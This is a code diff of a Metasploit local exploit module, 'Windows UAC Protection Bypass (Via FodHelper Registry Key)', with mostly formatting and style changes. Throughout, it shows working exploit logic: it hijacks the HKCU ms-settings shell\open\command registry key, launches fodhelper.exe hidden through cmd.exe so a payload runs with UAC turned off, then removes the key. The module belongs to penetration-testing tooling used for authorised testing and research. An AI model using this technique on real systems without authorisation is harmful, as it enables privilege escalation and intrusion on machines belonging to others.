@@ -14,50 +14,53 @@ class MetasploitModule < Msf::Exploit::Local
14
14
include Post ::Windows ::Registry
15
15
include Post ::Windows ::Runas
16
16
17
- FODHELPER_DEL_KEY = "HKCU\\ Software\\ Classes\\ ms-settings"
18
- FODHELPER_WRITE_KEY = "HKCU\\ Software\\ Classes\\ ms-settings\\ shell\\ open\\ command"
19
- EXEC_REG_DELEGATE_VAL = 'DelegateExecute'
20
- EXEC_REG_VAL = '' # This maps to "(Default)"
21
- EXEC_REG_VAL_TYPE = 'REG_SZ'
22
- FODHELPER_PATH = "%WINDIR%\\ System32\\ fodhelper.exe"
23
- CMD_MAX_LEN = 16383
24
-
25
- def initialize ( info = { } )
26
- super ( update_info ( info ,
27
- 'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)' ,
28
- 'Description' => %q{
29
- This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
30
- the current user hive, and inserting a custom command that will get invoked when
31
- the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
32
- flag turned off.
33
-
34
- This module modifies a registry key, but cleans up the key once the payload has
35
- been invoked.
36
-
37
- The module does not require the architecture of the payload to match the OS. If
38
- specifying EXE::Custom your DLL should call ExitProcess() after starting your
39
- payload in a separate process.
40
- } ,
41
- 'License' => MSF_LICENSE ,
42
- 'Author' => [
43
- 'winscriptingblog' , # UAC bypass discovery and research
44
- 'amaloteaux' , # MSF module
17
+ FODHELPER_DEL_KEY = "HKCU\\ Software\\ Classes\\ ms-settings" . freeze
18
+ FODHELPER_WRITE_KEY = "HKCU\\ Software\\ Classes\\ ms-settings\\ shell\\ open\\ command" . freeze
19
+ EXEC_REG_DELEGATE_VAL = 'DelegateExecute' . freeze
20
+ EXEC_REG_VAL = '' . freeze # This maps to "(Default)"
21
+ EXEC_REG_VAL_TYPE = 'REG_SZ' . freeze
22
+ FODHELPER_PATH = "%WINDIR%\\ System32\\ fodhelper.exe" . freeze
23
+ CMD_MAX_LEN = 16383
24
+
25
+ def initialize ( info = { } )
26
+ super (
27
+ update_info (
28
+ info ,
29
+ 'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)' ,
30
+ 'Description' => %q{
31
+ This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
32
+ the current user hive, and inserting a custom command that will get invoked when
33
+ the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
34
+ flag turned off.
35
+
36
+ This module modifies a registry key, but cleans up the key once the payload has
37
+ been invoked.
38
+
39
+ The module does not require the architecture of the payload to match the OS. If
40
+ specifying EXE::Custom your DLL should call ExitProcess() after starting your
41
+ payload in a separate process.
42
+ } ,
43
+ 'License' => MSF_LICENSE ,
44
+ 'Author' => [
45
+ 'winscriptingblog' , # UAC bypass discovery and research
46
+ 'amaloteaux' , # MSF module
45
47
] ,
46
- 'Platform' => [ 'win' ] ,
47
- 'SessionTypes' => [ 'meterpreter' ] ,
48
- 'Targets' => [
48
+ 'Platform' => [ 'win' ] ,
49
+ 'SessionTypes' => [ 'meterpreter' ] ,
50
+ 'Targets' => [
49
51
[ 'Windows x86' , { 'Arch' => ARCH_X86 } ] ,
50
52
[ 'Windows x64' , { 'Arch' => ARCH_X64 } ]
51
- ] ,
52
- 'DefaultTarget' => 0 ,
53
- 'References' => [
54
- [
55
- 'URL' , 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/' ,
56
- 'URL' , 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'
57
- ]
58
- ] ,
59
- 'DisclosureDate' => 'May 12 2017'
60
- ) )
53
+ ] ,
54
+ 'DefaultTarget' => 0 ,
55
+ 'References' => [
56
+ [
57
+ 'URL' , 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/' ,
58
+ 'URL' , 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'
59
+ ]
60
+ ] ,
61
+ 'DisclosureDate' => 'May 12 2017'
62
+ )
63
+ )
61
64
end
62
65
63
66
def check
@@ -71,7 +74,7 @@ def check
71
74
def exploit
72
75
commspec = '%COMSPEC%'
73
76
registry_view = REGISTRY_VIEW_NATIVE
74
- psh_path = "%WINDIR%\\ System32\\ WindowsPowershell\\ v1.0\\ powershell.exe"
77
+ psh_path = "%WINDIR%\\ System32\\ WindowsPowershell\\ v1.0\\ powershell.exe"
75
78
76
79
# Make sure we have a sane payload configuration
77
80
if sysinfo [ 'Architecture' ] == ARCH_X64
@@ -95,7 +98,7 @@ def exploit
95
98
end
96
99
end
97
100
98
- if !payload . arch . empty? && ! ( payload . arch . first = = target_arch . first )
101
+ if !payload . arch . empty? && ( payload . arch . first ! = target_arch . first )
99
102
fail_with ( Failure ::BadConfig , 'payload and target should use the same architecture' )
100
103
end
101
104
@@ -104,19 +107,18 @@ def exploit
104
107
check_permissions!
105
108
106
109
case get_uac_level
107
- when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP ,
108
- UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP ,
109
- UAC_PROMPT_CREDS , UAC_PROMPT_CONSENT
110
- fail_with ( Failure ::NotVulnerable ,
111
- "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
112
- )
113
- when UAC_DEFAULT
114
- print_good ( 'UAC is set to Default' )
115
- print_good ( 'BypassUAC can bypass this setting, continuing...' )
116
- when UAC_NO_PROMPT
117
- print_warning ( 'UAC set to DoNotPrompt - using ShellExecute "runas" method instead' )
118
- shell_execute_exe
119
- return
110
+ when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP ,
111
+ UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP ,
112
+ UAC_PROMPT_CREDS , UAC_PROMPT_CONSENT
113
+ fail_with ( Failure ::NotVulnerable ,
114
+ "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." )
115
+ when UAC_DEFAULT
116
+ print_good ( 'UAC is set to Default' )
117
+ print_good ( 'BypassUAC can bypass this setting, continuing...' )
118
+ when UAC_NO_PROMPT
119
+ print_warning ( 'UAC set to DoNotPrompt - using ShellExecute "runas" method instead' )
120
+ shell_execute_exe
121
+ return
120
122
end
121
123
122
124
payload_value = rand_text_alpha ( 8 )
@@ -145,15 +147,15 @@ def exploit
145
147
end
146
148
147
149
registry_setvaldata ( FODHELPER_WRITE_KEY , EXEC_REG_VAL , cmd , EXEC_REG_VAL_TYPE , registry_view )
148
- registry_setvaldata ( FODHELPER_WRITE_KEY , payload_value , psh_payload , EXEC_REG_VAL_TYPE , registry_view )
150
+ registry_setvaldata ( FODHELPER_WRITE_KEY , payload_value , psh_payload , EXEC_REG_VAL_TYPE , registry_view )
149
151
150
152
# Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
151
153
cmd_path = expand_path ( commspec )
152
154
cmd_args = expand_path ( "/c #{ FODHELPER_PATH } " )
153
155
print_status ( "Executing payload: #{ cmd_path } #{ cmd_args } " )
154
156
155
157
# We can't use cmd_exec here because it blocks, waiting for a result.
156
- client . sys . process . execute ( cmd_path , cmd_args , { 'Hidden' => true } )
158
+ client . sys . process . execute ( cmd_path , cmd_args , { 'Hidden' => true } )
157
159
158
160
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
159
161
# TODO: fix this up to use something smarter than a timeout?
@@ -171,7 +173,6 @@ def exploit
171
173
registry_setvaldata ( FODHELPER_WRITE_KEY , EXEC_REG_VAL , existing , EXEC_REG_VAL_TYPE , registry_view )
172
174
end
173
175
registry_deleteval ( FODHELPER_WRITE_KEY , payload_value , registry_view )
174
-
175
176
end
176
177
177
178
def check_permissions!
0 commit comments